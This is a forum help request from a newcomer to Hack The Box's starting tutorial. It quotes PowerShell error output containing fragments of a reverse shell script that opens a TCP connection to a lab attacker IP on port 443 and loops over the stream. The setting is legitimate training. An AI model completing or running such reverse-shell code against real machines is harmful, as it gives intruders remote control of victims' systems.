Hi all,
I’m noobie for hackthebox so please be gentle
I’m currently working on the start tutorial and got some syntax error on the shell.ps1:
client : The term ‘client’ is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
-
client = New-Object System.Net.Sockets.TCPClient(“10.10.14.112”,443);
-
+ CategoryInfo : ObjectNotFound: (client:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
You cannot call a method on a null-valued expression.
At line:2 char:1
-
$stream = $client.GetStream();
-
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:4 char:8
-
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
CategoryInfo : InvalidOperation: ( , RuntimeException
-
FullyQualifiedErrorId : InvokeMethodOnNull
You cannot call a method on a null-valued expression.
At line:10 char:1
-
$client.Close()
-
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : InvokeMethodOnNull
The script looks the same as the tutorial (expect the host ip of course), how can I validate the script syntax prior running it?
Thanks in advance.
O.